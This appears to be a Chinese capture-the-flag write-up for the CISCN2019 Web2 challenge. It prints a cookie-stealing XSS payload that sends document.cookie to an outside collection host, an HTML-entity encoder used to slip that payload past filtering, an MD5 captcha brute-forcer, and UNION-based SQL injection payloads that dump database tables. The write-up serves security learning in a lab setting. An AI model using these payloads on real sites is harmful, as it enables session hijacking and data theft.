[CISCN2019 华东北赛区]Web2

[CISCN2019 华东北赛区]Web2

前言

特别好的一道题,做完神清气爽,学到好多东西

知识点

xss 攻击获取cookie

buu攻击平台

利用 cookie 获取管理员权限

获取到管理员cookie后,利用控制台中的application模块,修改页面cookie

md5验证码哈希

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        md5_value=hashlib.md5(str(x)).hexdigest()
        if md5_value[:6]==md5_val:
            return str(x)

if __name__ == '__main__':
    print func('01f24d')

html mark 转义

xss='''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=PwHGmy&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
output = ""
for c in xss:
    output += "&#" + str(ord(c))

print(" + output + "")")

sql inject by hand

各阶段payload

-1 union select 1,group_concat(schema_name),3 from information_schema.schemata#

-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ciscn'#

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#

-1 union select 1,group_concat(flagg),3 from flag#


题解

进入环境 dirsearch 扫一下

发现

index.php

 admin.php

 login.php

 register.php

 post.php

 commitbug.php

 about.php


这些页面。

都尝试访问一下,发现admin.php访问不了,需要权限

然后注册登录,发现这是一个类似博客的界面,且能提交文章

所以大概能感觉到这是xss了(排除ssti)

我们利用题目给的xss平台

[CISCN2019 华东北赛区]Web2_第1张图片

新建一个项目,使用默认模块,保存后查看代码,复制下来微调一下

(function(){
     (new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=PwHGmy&location='+escape((function()//注意本行id内容
                                                                                                 {
     try{
     return document.location.href}catch(e){
     return ''}})())+'&toplocation='+escape((function(){
     try{
     return top.location.href}catch(e){
     return ''}})())+'&cookie='+escape((function(){
     try{
     return document.cookie}catch(e){
     return ''}})())+'&opener='+escape((function(){
     try{
     return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){
     return ''}})());})();

微调内容:把newImage().src改为window.location.hre

复制到if就停止

注意:这里复制的一定是查看自己项目的代码。否则id就会是{projectID}而不是本项目的id

然后使用html mark转码防止转义

转义代码在知识点中,也可以在线工具

转义完得到



点击上传文章,把转义后的代码上传上去

[CISCN2019 华东北赛区]Web2_第2张图片

然后点击链接查看文章,快速查看源码不然跳回主页了就

[CISCN2019 华东北赛区]Web2_第3张图片

复制阴影部分url 前面添加http://web.

作为反馈内容

[CISCN2019 华东北赛区]Web2_第4张图片

这里需要爆破md5 验证码,上脚本(上文知识点)

输入验证码成功反馈之后 回到xss平台获取管理员cookie 有了密钥就可以cookie欺骗访问admin.php了

[CISCN2019 华东北赛区]Web2_第5张图片

打开发现是个输入框,测试之后发现是最基础的sql手工注入嗯,很愉快的就搞定了

入验证码成功反馈之后 回到xss平台获取管理员cookie 有了密钥就可以cookie欺骗访问admin.php了

[外链图片转存中…(img-VquqYKJE-1620872847307)]

打开发现是个输入框,测试之后发现是最基础的sql手工注入嗯,很愉快的就搞定了

[CISCN2019 华东北赛区]Web2_第6张图片

你可能感兴趣的:([CISCN2019 华东北赛区]Web2)